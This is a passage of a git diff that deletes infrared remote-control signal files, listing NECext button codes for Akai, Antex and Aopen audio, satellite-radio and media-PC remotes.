-protocol: NECext -address: 8D 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 09 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0B 00 00 00 -# -name: PEAK -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0C 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0E 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 0F 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 10 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 13 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 14 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 17 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 19 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 41 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 43 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 46 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 48 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 49 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 4A 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 4C 00 00 00 -# -name: DIGITAL -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 4D 00 00 00 -# -name: DAC -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir deleted file mode 100644 index 724baccfa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 06 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 07 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 08 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 09 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 0E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 13 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 16 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 17 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 18 00 00 00 -# -name: SPEED_UP -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 1A 00 00 00 -# -name: SPEED_DOWN -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 1B 00 00 00 -# -name: VID_MODE -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 4E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 50 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 51 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 53 00 00 00 -# -name: PROG_LIST -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 54 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 55 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 59 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 5D 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 89 77 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir deleted file mode 100644 index c5e39e2ea..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 00 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 01 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 02 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 03 00 00 00 -# -name: INPUT_TAPE -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 04 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 05 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 08 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 09 00 00 00 -# -name: CD_PREV -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 0C 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 0D 00 00 00 -# -name: AUTOMUTE -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 0E 00 00 00 -# -name: VOL_MUTE -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 10 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 11 00 00 00 -# -name: CD_FF -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 18 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 19 00 00 00 -# -name: TAPE1_PLAY -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 1B 00 00 00 -# -name: CD_REW -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 1C 00 00 00 -# -name: CD_PROG -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 1D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 40 00 00 00 -# -name: TAPE2_FF -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 42 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 43 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 45 00 00 00 -# -name: TAPE1_FF -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 46 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 4A 00 00 00 -# -name: SOUNDCHAR_NEXT -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 4C 00 00 00 -# -name: SOUNDCHAR_PREV -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 4D 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 4F 00 00 00 -# -name: CD_NEXT -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 52 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 54 00 00 00 -# -name: TAPE1_REW -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 56 00 00 00 -# -name: TAPE2_REW -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 57 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 58 00 00 00 -# -name: TAPE2_BACK -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 5A 00 00 00 -# -name: TAPE1_BACK -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 5B 00 00 00 -# -name: TAPE2_STOP -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 5C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 5D 00 00 00 -# -name: TAPE2_PLAY -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 5E 00 00 00 -# -name: TAPE1_STOP -type: parsed -protocol: NECext -address: 83 65 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir deleted file mode 100644 index 77053223c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NUM_1 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 80 00 00 00 -# -name: NUM_2 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 81 00 00 00 -# -name: NUM_3 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 82 00 00 00 -# -name: NUM_4 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 83 00 00 00 -# -name: NUM_5 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 84 00 00 00 -# -name: NUM_6 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 85 00 00 00 -# -name: NUM_7 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 86 00 00 00 -# -name: NUM_8 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 87 00 00 00 -# -name: NUM_9 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 88 00 00 00 -# -name: NUM_+10 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 89 00 00 00 -# -name: NUM_0 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 8A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 8E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 90 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 91 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 92 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 93 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 94 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 95 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 96 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 97 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: 9F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: C0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: C1 00 00 00 -# -name: SRC_PHONO_LINE -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: C2 00 00 00 -# -name: VOL_MUTE -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: C4 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: C9 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: CA 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: CB 00 00 00 -# -name: CD_PLAY_DISC1 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: CD 00 00 00 -# -name: CD_PLAY_DISC2 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: CE 00 00 00 -# -name: CD_PLAY_DISC3 -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: CF 00 00 00 -# -name: SRC_CD -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: D1 00 00 00 -# -name: SRC_TAPE -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: D2 00 00 00 -# -name: SRC_TUNER -type: parsed -protocol: NECext -address: 8B 00 00 00 -command: D3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir deleted file mode 100644 index 99534f737..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 09 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 10 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 13 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 14 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 17 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 18 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1B 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 8D 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir deleted file mode 100644 index 36149852d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 08 00 00 00 -# -name: ZONE_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: ZONE_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0A 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 19 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir deleted file mode 100644 index 0ce5b16f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVD/VCD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: TIME/SHIFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: PHOTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: VIDEO/CLIPPER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: TV/PVR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: CD/MP3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir deleted file mode 100644 index 7b80fad9a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: Timeshift -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# 